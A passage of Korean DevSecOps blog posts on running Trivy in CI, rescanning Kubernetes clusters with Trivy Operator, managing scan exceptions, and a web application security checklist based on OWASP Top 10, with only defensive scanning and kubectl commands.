--ignore-unfixed 없이 모든 항목을 그대로 내보내면 개발자 입장에서는 행동 기준이 흐려집니다. “지금 고칠 수 없는 항목”과 “지금 당장 베이스 이미지 업데이트로 줄일 수 있는 항목”을 분리하지 않으면 리포트는 금방 소음이 됩니다. 저는 그 뒤로 “행동 가능한 결과 우선” 원칙을 고정했습니다.
5-4. 예외 처리 파일이 영구 창고가 되는 문제
예외는 필요합니다. 문제는 예외 자체가 아니라 재검토 주기가 없는 예외입니다. 파일 하나에 ID가 계속 쌓이기 시작하면, 그 순간부터 스캔 결과의 신뢰도는 빠르게 떨어집니다. 제 경험상 예외 항목은 추가보다 제거가 더 어렵기 때문에, 처음부터 만료일과 이유를 강제하는 편이 낫습니다.
# 현재 결과 저장
trivy image --severity HIGH,CRITICAL --format json --output current-scan.json my-app:latest
# 새로 유입된 취약점 식별에 필요한 최소 필드만 추출
jq '.Results[]?.Vulnerabilities[]? | {VulnerabilityID, PkgName, InstalledVersion, FixedVersion, Severity}' current-scan.json
이 출력에서 제가 보는 건 단순 개수가 아닙니다. PkgName과 InstalledVersion, FixedVersion 조합을 보면 “패키지 업그레이드로 해결 가능한지”, “베이스 이미지 교체가 먼저인지” 판단이 빨라집니다. 리포트는 많아도, 실제로 손대야 하는 지점은 보통 몇 군데로 수렴합니다.
스캔 결과, 심각도 분류, 예외 검토 흐름을 보여주는 결과 화면 이미지입니다.
6. 재현 가능한 시나리오 하나: 코드보다 베이스 이미지가 먼저인 경우
실제 현장에서 자주 본 장면을 하나 말씀드리겠습니다. 애플리케이션 코드는 크게 바뀌지 않았는데, 어느 날 이미지 스캔에서 OS 패키지 쪽 HIGH/CRITICAL이 갑자기 눈에 띄게 늘어납니다. 이때 개발팀이 바로 애플리케이션 의존성을 뒤지기 시작하면 시간이 꽤 낭비됩니다. 제가 먼저 확인하는 순서는 거의 항상 같습니다.
취약점이 애플리케이션 패키지인지 OS 패키지인지 구분합니다
현재 베이스 이미지 태그가 오래됐는지 확인합니다
가능하면 공식 베이스 이미지를 최신 태그 계열로 교체해 재빌드합니다
재스캔 후에도 남는 항목만 애플리케이션 레벨에서 봅니다
예를 들어 JSON 결과에서 동일한 OS 계열 패키지가 여러 항목에 반복 등장하면, 그때는 코드보다 베이스 레이어를 먼저 의심하는 편이 맞았습니다. 반대로 언어 패키지 매니저 쪽 결과가 중심이면 애플리케이션 의존성 정리가 먼저일 때가 많았습니다. 이 판단을 빨리 내리면 보안 대응이 코드 수리전이 아니라 레이어 선택 문제로 바뀝니다.
다만 베이스 이미지 교체가 만능은 아닙니다. 베이스를 올리면 libc나 openssl 같은 런타임 동작 차이로 회귀가 날 수 있습니다. 그래서 저는 Trivy 결과를 보고 베이스 이미지를 바꿀 때는, 보안 수정과 기능 검증을 분리하지 않고 같은 변경 세트로 다루는 편이 낫다고 봅니다. 취약점 수치만 줄이고 서비스가 깨지면 운영 관점에서는 실패니까요.
7. 1년 운영 결과: 좋아진 점과 아직 아쉬운 점
좋아진 점은 분명했습니다. 첫째, 보안 이슈가 배포 막판에야 드러나는 빈도가 줄었습니다. 둘째, 컨테이너 보안 검토가 특정 담당자의 기억이나 감에 덜 의존하게 됐습니다. 셋째, IaC 오설정이 템플릿 수준에서 반복되는 패턴으로 보이기 시작했습니다. 이건 단순히 경고를 더 본다는 의미가 아니라, 조직이 같은 실수를 덜 반복한다는 쪽에 가깝습니다.
반면 한계도 뚜렷했습니다.
Trivy만으로 애플리케이션 보안이 완성되지는 않습니다
예외 관리가 느슨해지면 스캔 결과는 빠르게 형식화됩니다
캐시와 업데이트 전략을 안 잡으면 CI 병목이 바로 눈에 띕니다
팀 성숙도보다 앞선 강한 차단 정책은 우회를 부릅니다
그래서 지금의 제 결론은 꽤 명확합니다. Trivy는 만능 도구가 아니라 컨테이너와 설정 검증의 기본 레일로 두는 게 가장 잘 맞습니다. 이 위치를 벗어나면 기대가 과해지고, 이 위치를 정확히 잡으면 투자 대비 효용이 좋습니다.
도입 전 수동 점검과 도입 후 자동화된 DevSecOps 워크플로우를 비교하는 요약 이미지입니다.
8. 마무리: 이런 팀이라면 저는 이렇게 적용하라고 권합니다
제 추천은 상황별로 꽤 분명합니다. 이제 막 시작하는 팀이라면 이미지 스캔부터 붙이세요. 처음부터 모든 경고를 막지 말고, HIGH/CRITICAL 결과를 읽고 분류하는 루틴부터 만드시는 편이 낫습니다. 이미 CI가 있는 팀이라면 --exit-code 1과 심각도 기준을 먼저 명시하세요. 배포 차단 기준이 불명확하면 스캔은 돌아도 운영은 바뀌지 않습니다.
Kubernetes나 Terraform 비중이 큰 팀이라면 trivy config . 또는 trivy fs --scanners vuln,misconfig,secret .를 같이 두는 편이 맞습니다. 실무에서 더 자주 사고를 내는 건 코드보다 설정인 경우가 많기 때문입니다. 반대로 애플리케이션 인증, 권한, 비즈니스 로직 취약점까지 Trivy 하나로 해결하려고 하시면 방향이 틀어집니다. 그건 다른 검토 체계가 필요합니다.
장기 운영 팀이라면 선택이 더 단순합니다. 신규 유입 위험은 차단하고, 기존 부채는 추적하되, 예외는 만료시켜 다시 심사하세요. 이 세 가지만 지켜도 Trivy는 충분히 값어치를 합니다. 결국 Trivy 도입 회고는 도구 평가라기보다 운영 습관 평가에 가까웠습니다. 저에게 남은 교훈도 하나였습니다. 스캐너는 많이 도는 것보다, 팀이 어떤 기준으로 멈추고 어떤 기준으로 진행할지를 분명히 할 때 비로소 도움이 됩니다.
마지막으로 다시 적어둡니다. 본 글은 보안 학습과 본인이 관리하는 시스템의 방어를 위한 교육 목적입니다. 타인의 시스템에 대한 무단 접근·공격은 불법이며 법적 처벌 대상입니다. Trivy를 도입하실 때는 기능 목록보다 운영 규칙부터 설계해보세요. 그 순서가 맞아야 1년 뒤에도 파이프라인에 남습니다.
본 글은 보안 학습과 본인이 관리하는 시스템의 방어를 위한 교육 목적입니다. 타인의 시스템에 대한 무단 접근·공격은 불법이며 법적 처벌 대상입니다.
Kubernetes 보안 체크리스트: 컨테이너 이미지 스캔 자동화
Kubernetes 보안 체크리스트를 운영하다 보면 병목이 꽤 자주 이미지 스캔에서 드러납니다. 배포 파이프라인은 분 단위로 빨라졌는데 보안 판정이 여전히 사람 손에 걸려 있으면, 속도와 통제가 같이 무너지더라고요. 저도 홈랩이든 사내 테스트 클러스터든 처음에는 릴리스 직전 일회성 스캔으로 시작했는데, 운영으로 넘어가면 금방 한계가 보였습니다. 이미지 변경 속도, 베이스 이미지 교체 주기, 레지스트리 정책, 클러스터 반입 기준이 따로 놀면 자동화는 이름만 자동화가 되거든요.
실무에서는 스캐너를 한 번 붙이는 것으로 끝나지 않습니다. 빌드 시점, 레지스트리 저장 시점, 클러스터 반입 시점, 운영 중 재평가 시점을 나눠서 봐야 합니다. 이유는 단순합니다. 배포 당시엔 통과한 이미지라도, 며칠 뒤 취약점 데이터베이스가 갱신되면 같은 다이제스트가 다른 판정을 받을 수 있습니다. 이 차이를 놓치면 팀은 바로 “어제는 괜찮았는데 왜 오늘 막히지?”라는 혼란에 빠집니다.
CI, 레지스트리, Kubernetes 클러스터, 보고 체계를 한눈에 보여주는 전체 구성도입니다.
Kubernetes 보안 체크리스트에서 이미지 스캔이 중요한 이유
현장에서 필요한 건 CVE 숫자 나열이 아닙니다. 무엇을 기준으로 배포를 막을지, 무엇은 추적만 하고 무엇은 즉시 조치할지, 그 판정을 누가 재현할 수 있는지가 핵심입니다. 실제 스캔 결과를 보면 문제는 대체로 세 부류로 갈립니다. 베이스 이미지 교체로 끝나는 항목, 애플리케이션 의존성 업데이트가 필요한 항목, 이미지가 아니라 배포 매니페스트나 실행 권한 설정을 손봐야 하는 항목입니다. 같은 High라도 대응 경로가 완전히 다릅니다.
그래서 체크리스트를 만들 때 제가 먼저 적는 건 도구 이름이 아니라 다음 네 가지입니다. 첫째, 어떤 시점에 검사할지. 둘째, 어떤 대상을 검사할지. 셋째, 어떤 심각도와 조건에서 실패로 볼지. 넷째, 예외를 누구 승인으로 얼마나 오래 둘지. 이 네 줄이 빠지면 결과는 늘 많고, 책임은 늘 흐려집니다.
Kubernetes 보안 체크리스트로 정리한 컨테이너 이미지 스캔 자동화 체크리스트
이미지 태그보다 다이제스트를 기준으로 기록: repo:tag만 저장하지 말고 repo@sha256:...를 남겨야 스캔 결과와 배포 대상을 정확히 연결할 수 있습니다.
빌드 직후 스캔: CI에서 이미지 생성 직후 취약점과 시크릿 혼입 여부를 확인합니다.
실패 기준을 코드로 고정: CRITICAL 즉시 차단, HIGH는 팀 정책에 따라 차단 또는 예외 관리 등으로 명시합니다.
데이터베이스 갱신 시점 기록: 로컬, CI, 클러스터의 스캔 결과가 다른 흔한 원인입니다.
레지스트리 인증 분리: 빌드용 자격 증명과 스캔용 읽기 전용 자격 증명을 분리해 두면 사고 범위를 줄이기 좋습니다.
클러스터 내 재스캔: 이미 떠 있는 워크로드를 주기적으로 다시 평가해야 운영 중 신규 공개 취약점을 따라잡을 수 있습니다.
예외 처리 만료일 강제: 예외는 허가가 아니라 부채입니다. 사유, 승인자, 만료일이 없으면 결국 영구 면제가 됩니다.
결과 저장 위치 통일: CI 로그만 믿지 말고 리포트 시스템이나 Kubernetes 리소스로 남겨 반복 조회 가능하게 해야 합니다.
로컬과 CI 판정 일치: 같은 옵션, 같은 대상, 가능하면 같은 DB 갱신 흐름을 써야 팀이 결과를 신뢰합니다.
최소 이미지 우선: Distroless나 slim 계열 검토는 보안 때문이기도 하지만, 스캔 노이즈와 패치 범위를 줄이는 데도 효과가 큽니다.
Admission 단계 연계 여부 결정: 규정이 엄격하면 배포 허가 단계에서 차단하고, 초기 도입기라면 관찰 모드부터 들어가는 편이 덜 부서집니다.
성능 예산 확보: 대형 이미지 재스캔은 노드 자원과 레지스트리 호출을 먹습니다. 운영 클러스터에서 무작정 스캔 빈도를 높이면 다른 워크로드가 피해를 볼 수 있습니다.
도구 선택 전에 먼저 정할 기준
Trivy, Grype처럼 널리 쓰이는 스캐너는 출발점으로 충분히 좋습니다. 저는 빠르게 붙일 때는 Trivy를 자주 쓰는 편입니다. 로컬 점검, CI, Kubernetes 연계까지 흐름을 만들기 편해서 이거 진짜 실무에서 손이 덜 가더라고요. 다만 도구보다 먼저 정해야 할 것이 있습니다. 결과 해석 단위가 이미지인지, 레포지토리인지, 실제 클러스터 워크로드인지부터 정해야 합니다. 이 기준이 흔들리면 스캐너를 바꿔도 운영은 그대로 혼란스럽습니다.
선택 포인트
A를 택할 때
B를 택할 때
제가 실제로 권하는 기준
스캔 시점
CI만 스캔: 배포 속도와 단순성이 우선일 때
CI + 클러스터 재스캔: 운영 중 노출 추적이 중요할 때
운영 클러스터가 있으면 병행이 맞습니다. CI만으로는 신규 공개 취약점을 놓치기 쉽습니다.
식별 방식
태그 기준: 초기에 단순하게 시작할 때
다이제스트 기준: 결과 재현성과 감사 추적이 필요할 때
실서비스는 다이제스트 기준으로 가는 편이 안전합니다. 태그는 너무 쉽게 바뀝니다.
실패 정책
Critical만 차단: 도입 초기에 반발을 줄여야 할 때
Critical + High 차단: 규정과 배포 품질 기준이 이미 성숙했을 때
처음부터 전부 막기보다 Critical 차단, High는 만료일 있는 예외 관리가 현실적입니다.
스캔 대상
OS 패키지 위주: 베이스 이미지 관리가 주 이슈일 때
OS + 애플리케이션 의존성 + 시크릿: 공급망 전체를 봐야 할 때
실무에서는 최소한 취약점과 시크릿은 같이 보는 편이 낫습니다.
운영 방식
관찰 모드: 현재 상태 파악이 먼저일 때
차단 모드: 배포 기준을 강제해야 할 때
새로 도입하는 팀은 1~2주 정도 관찰 모드로 데이터부터 모으는 편이 덜 아픕니다.
실전 구현 1: Kubernetes 보안 체크리스트 기준으로 로컬과 CI 맞추기
가장 먼저 할 일은 개발자 로컬과 CI가 가능한 한 같은 판정을 내도록 맞추는 것입니다. 로컬에선 통과했는데 CI에서만 실패하면 팀은 금방 스캐너보다 파이프라인을 더 싫어하게 됩니다. 그래서 이 단계에서는 “옵션을 많이 주는 것”보다 “같은 옵션을 고정하는 것”이 더 중요합니다. 이 기준만 맞춰도 운영 피로도가 꽤 줄어듭니다.
1. 이미지 빌드 후 Trivy로 즉시 검사
아래 예시는 로컬에서 이미지 빌드 직후 취약점과 시크릿을 같이 보는 가장 단순한 흐름입니다. 팀 공통 기준을 잡을 때는 이런 명령부터 통일하는 게 훨씬 편합니다.
여기서 중요한 건 옵션 의미보다 운영상의 함정입니다. --ignore-unfixed는 노이즈를 줄이는 데 유용하지만, “아직 수정본이 없으니 위험이 없다”는 뜻은 아닙니다. 패치가 없어도 우회책이나 완화 조치가 필요한 경우가 있습니다. 그래서 저는 이 옵션을 쓰더라도 예외 문서에는 “미조치”보다 “공급사 수정 대기”처럼 상태를 분리해 적는 편입니다.
--scanners vuln,secret 조합도 실무 효율이 좋습니다. 이미지 레이어에 테스트 토큰, 오래된 인증서, 샘플 키가 남아 있는 경우가 의외로 자주 나옵니다. 이건 CVE보다 발견 즉시 우선순위를 높게 잡아야 하는 유형입니다. 공격 난도가 낮고 노출 즉시 영향이 커질 수 있어서 그렇습니다.
2. CI에서 실패 기준을 강제하고 결과를 아티팩트로 남기기
CI에서는 사람 눈으로만 보는 표 형식과, 후처리용 JSON 결과를 같이 남겨 두는 편이 좋습니다. 나중에 추세 비교나 예외 검토할 때 이 차이가 꽤 크게 느껴집니다.
--exit-code 1이 없으면 자동화는 반쪽입니다. 로그에 경고가 많아도 배포가 계속되면 운영팀은 곧 “보안 경고는 참고용”으로 받아들이게 됩니다. 그 순간부터 정책은 문서에만 남습니다. 그리고 JSON 결과를 별도 파일로 남기는 이유도 분명합니다. 사람이 읽기 쉬운 표와 기계가 다시 처리하기 쉬운 형식을 분리해야 나중에 재검증이 편해집니다.
초기에 자주 보는 실패 모드는 “로컬은 어제 DB로 검사했고, CI는 오늘 DB로 검사했다”는 불일치입니다. 겉으로는 같은 이미지, 같은 명령처럼 보여도 결과가 달라집니다. 그래서 운영 문서에는 최소한 이미지 다이제스트, 스캔 시각, 스캐너 버전, DB 갱신 시각 네 가지를 같이 남겨 두는 게 좋습니다.
빌드, 스캔, 실패 기준 적용, 배포 차단으로 이어지는 파이프라인 흐름 예시입니다.
실전 구현 2: Kubernetes 클러스터 안에서 재스캔 자동화
CI 스캔은 배포 직전의 사진 한 장에 가깝습니다. 운영은 동영상에 더 가깝고요. 이미지 자체는 그대로인데 취약점 데이터베이스가 갱신되거나, 오래된 워크로드가 남아 있거나, 수동 롤백으로 이전 태그가 다시 떠 있을 수 있습니다. 그래서 운영 클러스터에서는 주기 재평가가 꼭 필요합니다.
1. Helm으로 Trivy Operator 설치
Trivy Operator는 Kubernetes 안에서 보안 리포트를 CRD 형태로 남겨 주기 때문에, 클러스터 관점 추적이 필요한 팀에는 꽤 잘 맞습니다. 별도 콘솔 없이도 kubectl로 상태를 확인할 수 있다는 점도 편합니다.
이 방식의 장점은 결과가 Kubernetes 리소스로 남는다는 점입니다. CI 로그는 흩어지기 쉽지만 리소스는 조회 경로가 고정됩니다. 운영팀과 플랫폼팀이 같은 화면을 본다는 점도 생각보다 큽니다. 인수인계할 때 특히 편하더라고요.
2. 스캔 결과 조회
설치 후에는 먼저 실제로 어떤 리포트가 생성되는지 확인하는 게 좋습니다. 환경과 활성화된 기능에 따라 보이는 리포트 종류가 조금씩 다를 수 있습니다.
kubectl get vulnerabilityreports -A
kubectl describe vulnerabilityreport -n default <report-name>
결과를 읽을 때는 숫자보다 맥락을 먼저 봅니다. 저는 보통 세 가지를 바로 확인합니다. 첫째, 어떤 워크로드의 어떤 컨테이너인지. 둘째, 문제가 베이스 이미지 계층인지 애플리케이션 의존성인지. 셋째, 지금 당장 수정 가능한지입니다. 같은 High라도 베이스 이미지 교체로 끝나는 항목과 코드 호환성 검토가 필요한 라이브러리 문제는 대응 일정이 다릅니다.
3. 실제 배포 중인 이미지 목록부터 확인
보고서가 아니라 실제 실행 대상을 먼저 보는 습관이 중요합니다. 선언상 최신 이미지가 적혀 있어도, 운영 클러스터에는 예전 이미지가 남아 있는 경우가 꽤 있습니다.
kubectl get pods -A -o jsonpath='{range .items[*]}{.metadata.namespace}{"\t"}{.metadata.name}{"\t"}{range .spec.containers[*]}{.image}{" "}{end}{"\n"}{end}'
이 명령은 단순해 보여도 중요합니다. Git 저장소 기준으로는 최신 태그를 본다고 해도, 실제 클러스터에선 예전 태그나 수동 롤백된 이미지가 남아 있을 수 있습니다. 스캔 체계가 배포 선언만 보고 실제 실행 대상을 안 보면, 보고서는 깨끗한데 운영은 더러운 상태가 됩니다.
4. 사설 레지스트리 인증 문제가 있는지 먼저 분리 진단
리포트가 안 생길 때는 스캐너 자체를 의심하기 전에 인증 흐름부터 확인하는 편이 빠릅니다. 여기서 시간 많이 쓰는 팀이 정말 많습니다.
kubectl get events -A --sort-by=.lastTimestamp
kubectl get secrets -n trivy-system
kubectl describe serviceaccount -n trivy-system trivy-operator
클러스터 내 스캐너가 리포트를 못 만드는 가장 흔한 이유는 인증 연결 누락입니다. 이미지 풀은 애플리케이션 서비스 계정이 잘하는데, 스캐너는 다른 서비스 계정이라 접근을 못 하는 경우가 잦습니다. 표면 증상은 “리포트가 안 생긴다”인데 근본 원인은 권한 경계가 다른 데 있습니다. 이건 설정 몇 줄 더 넣는다고 해결되지 않고, 누가 어느 레지스트리를 어떤 자격 증명으로 읽는지 모델을 분리해서 봐야 합니다.
재현 가능한 시나리오로 보는 운영 포인트
이런 시나리오는 실제 운영에서 자주 나옵니다. 내부 API 서비스가 registry.example.com/team/api:2026-09-01로 배포됐고, 배포 당시 CI 스캔은 통과했습니다. 며칠 뒤 베이스 이미지에 대한 신규 취약점 정보가 스캐너 DB에 반영됩니다. 코드도, 이미지 다이제스트도 바뀌지 않았는데 클러스터 리포트에는 새로운 Critical이 생길 수 있습니다. CI만 보는 팀은 “왜 갑자기 숫자가 늘었지?”에서 멈추고, 클러스터 재스캔이 있는 팀은 “지금 떠 있는 워크로드 중 어느 네임스페이스가 영향권인지”까지 바로 확인합니다.
이 지점에서 중요한 것은 억울함을 줄이는 기록입니다. 결과가 바뀌었는데 이미지가 안 바뀌었을 때 스캐너 오작동으로 몰아가는 경우를 여러 번 봤습니다. 실제로는 취약점 DB 갱신이나 메타데이터 해석 차이인 경우가 많았습니다. 그래서 운영 기준에는 반드시 스캔 시각, DB 갱신 시각, 대상 다이제스트를 함께 남겨 두는 게 좋습니다.
실제로 많이 막히는 문제와 해결법
Private Registry 인증이 안 붙는 경우
증상은 단순합니다. 리포트가 생성되지 않거나 이벤트에 인증 실패가 남습니다. 그런데 근본 원인은 보통 “앱 배포에 쓰는 이미지 풀 자격 증명”과 “스캐너가 읽는 자격 증명”을 같은 것으로 착각한 데 있습니다. 해결은 권한을 더 크게 주는 것이 아니라, 스캐너 전용 읽기 권한이 어디에 연결돼 있는지 확인하는 것입니다.
취약점이 너무 많이 떠서 운영이 멈추는 경우
초기 도입기에는 거의 반드시 겪습니다. 이때 모든 심각도를 한 번에 차단하면 실제로는 보안 수준이 올라가는 게 아니라 파이프라인이 멈춥니다. 저는 보통 Critical 즉시 차단, High는 예외 문서와 만료일 부여, Medium 이하는 추세 관찰로 시작합니다. 운영이 감당할 수 있는 속도로 올라가야 자동화도 습관으로 남습니다.
태그만 보고 이미지를 추적하는 경우
latest나 재사용되는 릴리스 태그는 감사 추적에 불리합니다. 스캔 결과가 어느 바이너리 집합을 가리키는지 불명확해집니다. 실제 배포 검증이나 사고 대응까지 생각하면 다이제스트 기준 저장이 맞습니다. 태그는 사람이 보기 좋고, 다이제스트는 시스템이 책임지기 좋습니다.
운영 판단 없이 숫자만 보는 경우
스캔 수치는 우선순위의 단서일 뿐, 우선순위 그 자체는 아닙니다. 외부에 노출된 서비스의 런타임 라이브러리 문제와 내부 배치 컨테이너의 개발 도구 패키지 문제는 같은 High여도 대응 순서가 달라집니다. 저는 아래 네 항목을 같이 봅니다.
노출 면적: Ingress 뒤 서비스인지, 내부 잡인지 구분합니다.
권한 수준: root 실행 여부, 추가 capability, privileged 여부를 확인합니다.
수정 가능성: 베이스 이미지 교체로 끝나는지, 코드 수정과 검증이 필요한지 나눕니다.
예외 만료: 지금 못 고치는 항목은 다시 볼 날짜가 없으면 영구 미해결이 됩니다.
스캔이 클러스터 자원을 갉아먹는 경우
운영 규모가 커지면 이것도 무시하기 어렵습니다. 큰 이미지가 많고 네임스페이스가 많으면 스캔 자체가 CPU, 메모리, 레지스트리 호출량을 소모합니다. 증상은 오퍼레이터가 느려지거나 리포트 생성이 밀리는 식으로 나타납니다. 재스캔은 많이 돌린다고 무조건 좋은 게 아니라, 업데이트 빈도, 클러스터 자원, 조치 가능한 인력에 맞춰야 합니다.
오퍼레이터가 워크로드를 스캔하고 리포트를 남기는 클러스터 내부 흐름 예시입니다.
검증: 자동화가 제대로 작동했는지 확인하는 방법
자동화 검증은 명령 성공 여부만 보면 부족합니다. 실패해야 할 때 진짜 실패하는지, 운영 중 판정 변화가 반영되는지, 팀원이 바뀌어도 같은 경로로 확인 가능한지가 핵심입니다. 제가 점검할 때는 다음 순서로 봅니다.
테스트용 이미지를 하나 빌드하고 로컬 결과를 저장합니다.
같은 이미지를 CI에서 같은 심각도 기준으로 스캔해 동일하게 실패 또는 통과하는지 확인합니다.
가능하면 배포 시점의 이미지 다이제스트를 기록해 로컬 결과와 CI 결과를 같은 대상으로 묶습니다.
클러스터에 배포한 뒤 vulnerabilityreports 리소스가 생성되는지 확인합니다.
사설 레지스트리 이미지는 인증 실패 없이 조회되는지 이벤트와 서비스 계정 기준으로 검증합니다.
예외 처리한 항목이 문서, CI 정책, 클러스터 결과에서 같은 의미로 반영되는지 비교합니다.
환경에 따라 추가 리포트가 생성될 수 있으니, 아래처럼 어떤 CRD가 실제로 보이는지 함께 확인하면 좋습니다. 다만 활성화된 기능과 Trivy Operator 설정에 따라 결과는 달라질 수 있습니다.
kubectl get vulnerabilityreports -A
kubectl get configauditreports -A
kubectl get clustercompliancereports -A
중요한 것은 결과를 반복 조회 가능한 형태로 남기는 것입니다. 사람이 한 번 보고 지나가는 로그는 운영 자산이 아닙니다. 조회 경로가 고정되고 같은 명령으로 다시 확인할 수 있어야 팀 지식이 됩니다. 그리고 Pod Security Standards, RBAC, NetworkPolicy 관련 글도 함께 보면 Kubernetes 보안 체크리스트를 더 입체적으로 잡는 데 도움이 됩니다.
배포된 워크로드별 취약점 현황과 확인 포인트를 보여주는 결과 화면 예시입니다.
FAQ: 현장에서 자주 받는 질문
Q. 스캔 결과가 바뀌었는데 이미지는 안 바뀌었습니다.
A. 충분히 가능한 일입니다. 가장 흔한 원인은 취약점 데이터베이스 갱신입니다. 그래서 스캔 시각, DB 갱신 시각, 이미지 다이제스트를 같이 기록해야 나중에 원인 추적이 쉬워집니다.
Q. 모든 High를 바로 차단해야 하나요?
A. 팀 상태에 따라 다릅니다. 초기 도입기라면 Critical 우선 차단, High는 예외와 만료일 관리가 현실적입니다. 이미 배포 품질 게이트가 정착된 조직이라면 High까지 차단해도 됩니다. 중요한 건 기준을 문서가 아니라 파이프라인에 넣는 것입니다.
Q. Kubernetes 보안 체크리스트에서 이미지 스캔만 하면 충분한가요?
A. 부족합니다. 이미지 스캔은 공급망과 배포 전 검증의 한 축일 뿐입니다. Pod Security Standards, RBAC, NetworkPolicy, Secret 관리, 감사 로그까지 함께 봐야 운영 리스크가 줄어듭니다. 다만 시작점으로는 이미지 스캔이 체감 효과가 빠른 편입니다.
운영 기준은 이렇게 잡으시면 됩니다
제가 오래 운영을 보면서 내린 기준은 단순합니다. 팀이 아직 수동 검토에 기대고 있다면 Trivy CLI로 CI 차단부터 붙이세요. 이 단계에서는 로컬과 CI 판정 일치, 다이제스트 기록, 예외 만료일 관리가 핵심입니다. 운영 클러스터가 여러 개이거나 롤백이 잦다면 클러스터 재스캔도 같이 가져가세요. 배포 당시엔 멀쩡했던 이미지가 나중에 문제로 바뀌는 순간을 잡아내려면 이 경로가 필요합니다.
반대로 아직 팀이 결과 해석도 못 따라가는데 Admission 단계에서 전부 막는 것은 추천하지 않습니다. 그건 통제가 아니라 마찰이 됩니다. 이럴 땐 관찰 모드로 현재 상태 파악, 그다음 Critical 차단, 마지막으로 High까지 확대 순서가 덜 부서집니다. 규정이 엄격하고 변경 이력 감사가 중요하다면, 그때 배포 허가 단계 연계까지 가면 됩니다.
제 권고를 한 줄로 줄이면 이렇습니다. 작게 시작하는 팀은 CI 스캔 + 실패 코드 적용, 운영 가시성이 필요한 팀은 클러스터 재스캔 추가, 강제 통제가 필요한 조직은 Admission 정책 연계. 이 순서가 실무에서 가장 덜 아프고, 결과가 남고, 다음 담당자도 이해하기 쉽습니다.
본 글은 보안 학습과 본인이 관리하는 시스템의 방어를 위한 교육 목적입니다. 타인의 시스템에 대한 무단 접근·공격은 불법이며 법적 처벌 대상입니다.
CI 스캔, 클러스터 재스캔, 예외 관리, 정책 연계를 한 장으로 정리한 요약 이미지입니다.
웹 애플리케이션 보안 체크리스트를 벽에 붙여두기만 하고 배포 게이트로 쓰지 않으면, 사고는 대개 어려운 취약점보다 빼먹은 기본 설정에서 납니다. 저도 여러 팀에서 비슷한 장면을 반복해서 봤습니다. 로그인은 붙었는데 세션 쿠키 속성이 비어 있고, 파일 업로드는 되는데 저장 위치가 웹 루트 안쪽이고, API는 인증이 있는데 객체 단위 권한 검사가 빠져 있는 식이었죠. WAF(Web Application Firewall, 웹 애플리케이션 방화벽)나 클라우드 보안 서비스가 있어도 이 층의 누락은 결국 애플리케이션 팀이 책임지게 되더라고요.
본 글은 보안 학습과 본인이 관리하는 시스템의 방어를 위한 교육 목적입니다. 타인의 시스템에 대한 무단 접근·공격은 불법이며 법적 처벌 대상입니다. 여기서는 웹 애플리케이션 보안 체크리스트를 단순 항목 나열이 아니라, 배포 직전 무엇을 어떤 기준으로 통과시킬지에 맞춰 다시 묶어보겠습니다. 특히 개발자 입장에서 자주 헷갈리는 지점, 예외를 허용해도 되는 조건, 장애를 만들지 않고 강도를 높이는 순서를 같이 적었습니다.
개발, 배포, 운영 단계에서 인증, 입력값 검증, 비밀정보 관리, 로깅, 취약점 스캔이 연결되는 전체 흐름을 보여주는 이미지입니다.
웹 애플리케이션 보안 체크리스트가 왜 필요한가
체크리스트는 문서가 아니라 릴리스 품질 게이트여야 합니다. 제 기준으로는 세 번 걸어야 의미가 있습니다. 첫째, PR(Pull Request) 리뷰에서 설계 결함을 걸러냅니다. 둘째, CI/CD(Continuous Integration/Continuous Deployment, 지속적 통합/배포)에서 자동으로 확인 가능한 항목을 실패 처리합니다. 셋째, 운영 반영 직전에 환경 차이로 누락된 설정을 다시 봅니다. 이 셋 중 하나라도 빠지면 개발 환경에서는 괜찮았는데 운영에서만 새는 문제가 남습니다.
현장에서 자주 터지는 실패 모드는 생각보다 단순합니다. 임시 우회 설정이 운영까지 남아 있거나, 프레임워크 기본값을 과신하거나, 스캔 도구 결과를 숫자로만 읽고 실제 실행 경로를 보지 않는 경우가 많습니다. 근본 원인은 거의 늘 같습니다. 보안 항목이 기능 정의서에는 없는데 운영 책임에는 포함돼 있기 때문입니다. 그래서 체크리스트는 책임 소재를 분명히 하는 문서이기도 합니다. 누가 보고, 언제 막고, 어떤 경우 예외를 허용하는지까지 있어야 흔들리지 않습니다.
웹 애플리케이션 보안 체크리스트에서 보는 OWASP Top 10
OWASP Top 10을 그대로 외우는 건 실무에서 큰 도움이 안 될 때가 많습니다. OWASP도 이 목록을 최소 기준이자 출발점에 가깝다고 설명합니다. 개발자는 위험 범주를 코드와 설정의 점검 포인트로 번역해서 보는 편이 훨씬 실용적입니다. 제가 팀 문서로 옮길 때는 아래처럼 바꿔 적습니다.
Broken Access Control(접근 제어 실패): 요청 단위가 아니라 객체 단위로 권한을 확인하는지 봅니다.
Cryptographic Failures(암호화 실패): TLS 종료 지점, 쿠키 보안 속성, 저장 시 암호화 대상이 맞는지 봅니다.
Injection(인젝션): 쿼리 생성, 명령 실행, 템플릿 렌더링에서 입력이 코드로 해석될 여지가 있는지 봅니다.
Security Misconfiguration(보안 설정 오류): 디버그 모드, 기본 계정, 관리 포트 노출, 과한 CORS(Cross-Origin Resource Sharing) 허용을 봅니다.
Vulnerable and Outdated Components(취약하거나 오래된 구성요소): 취약 버전 자체보다 실행 경로에 실제로 닿는지, 직접 의존성인지 먼저 봅니다.
Identification and Authentication Failures(식별 및 인증 실패): 세션 고정, 토큰 만료, 재인증 정책, 관리자 기능 보호를 봅니다.
이렇게 바꿔 놓으면 보안팀 용어를 개발 작업으로 연결하기 쉬워집니다. 제 경험상 팀이 가장 빨리 개선하는 영역도 여기입니다. 보안 이슈라고 적는 순간 막연해지는데, 이 API는 객체 소유자 검사가 빠져 있다고 쓰면 바로 수정 단위가 되거든요.
실무에서 바로 쓰는 웹 애플리케이션 보안 체크리스트
항목은 많아 보여도, 배포 전에 정말 체크할 것만 남기면 의외로 운영 가능합니다. 저는 아래 10개를 기본 축으로 둡니다. 관리자 페이지, 일반 사용자 서비스, 내부 API까지 거의 공통으로 먹힙니다.
인증과 세션: 세션 쿠키에 HttpOnly, Secure, SameSite가 있는지, 세션 만료와 재발급 정책이 분리돼 있는지 봅니다.
파일 업로드: 확장자뿐 아니라 MIME 타입, 저장 경로, 후처리 파이프라인, 실행 권한을 같이 봅니다.
웹 애플리케이션 보안 체크리스트 우선순위와 판정 기준
영역
지금 바로 볼 것
배포 차단 기준
예외를 허용해도 되는 경우
권장 조치
인증
세션 쿠키 속성, 세션 만료 정책
운영 HTTPS에서 Secure 누락, 관리자 세션 장기 유지, 재로그인 없이 민감 작업 가능
개발 로컬 환경의 비TLS 테스트 정도
프레임워크 설정에서 강제하고, 관리자 기능은 재인증 또는 짧은 세션 적용
인가
